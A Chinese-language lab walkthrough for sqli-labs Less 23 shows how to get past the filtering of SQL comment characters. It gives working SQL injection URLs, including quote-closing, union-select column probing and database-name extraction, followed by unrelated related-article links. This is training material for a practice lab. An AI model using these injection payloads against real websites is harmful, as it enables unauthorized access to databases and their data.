19、绕过去除注释符(Get)

简介: 19、绕过去除注释符(Get)

环境sqli-labs

less 23

1、输入?id=1,正常运行

0a2653c851af460fa595bd959398a8f1.png

2、输入特殊字符报错

0eacb84100b54626af849e6b562bf92a.png

3、单引号闭合,但是发现# --+等都被过滤了

2d65d23f6d4748949b924e4057485923.png

4、使用下面代码闭合

192.168.1.121/sqli/less-23?id=1’ or ‘1’=‘1

5、用union select判断字段数

192.168.1.121/sqli/less-23?id=1’ union select 1,2,3 or ‘1’='1


6、让id报错,union select生效

192.168.1.121/sqli/less-23?id=-1’ union select 1,2,3 or ‘1’='1


2e9b90b2ca334476abebe75bafe6eeaa.png


7、获取数据库名称

192.168.1.121/sqli/less-23?id=-1’ union select 1,database(),3 or ‘1’='1


4cebaac233b3433da32a72337a77fc60.png


禁止非法,后果自负


目录
相关文章
|
2天前
|
数据库
19、绕过去除注释符(Get)
19、绕过去除注释符(Get)
15 0
|
2天前
|
数据库
小课堂 -- 绕过去除注释符(Get)
小课堂 -- 绕过去除注释符(Get)
18 0
|
2天前
|
C语言 C++
每天一道C语言编程:(去掉:双斜杠注释,去掉空格)
每天一道C语言编程:(去掉:双斜杠注释,去掉空格)
4 0
|
C++
VS Code识别编辑规范,ESlint规则,VS Code保存去掉自动加分号、逗号、双引号
书写规范是非常重要的,除了统一,还要简洁。 1、VS Code识别编辑规范 在项目根目录新建.editorconfig文件,加入设置:
796 0
|
9月前
正则表达的的具体方式
正则表达的的具体方式
35 1
|
2天前
|
人工智能 自然语言处理 Java
想要搞定正则验证字串符?用这个办法最简单,质量还高!
在编程中,字符串的处理是不可避免的一部分。我们经常需要验证用户输入的数据、提取文本信息、替换特定字符等等。在这些场景中,正则验证字串符(Regex Validation)为我们提供了一种高效、灵活的处理方式。
|
8月前
去除“四”的避讳代码
去除“四”的避讳代码
24 0
|
8月前
|
开发者 Perl
正则表达式中的模式修正符S和M 妙用!
教你如何正确使用正则表达式中的模式修正符S和M!
41 0
正则表达式中的模式修正符S和M 妙用!
去掉多余的空格---输入一个字符串,字符串中可能包含多个连续的空格,请将多余的空格去掉,只留下一个空格。输入格式
输入一个字符串,字符串中可能包含多个连续的空格,请将多余的空格去掉,只留下一个空格。 输入格式 共一行,包含一个字符串。 输出格式 输出去掉多余空格后的字符串,占一行。 数据范围 输入字符串的长度不超过 200200。 保证输入字符串的开头和结尾没有空格。
268 0
正则表达式 - 模式修正符作用详解(i、g、m、s、x、e)
正则表达式 - 模式修正符作用详解(i、g、m、s、x、e)
217 0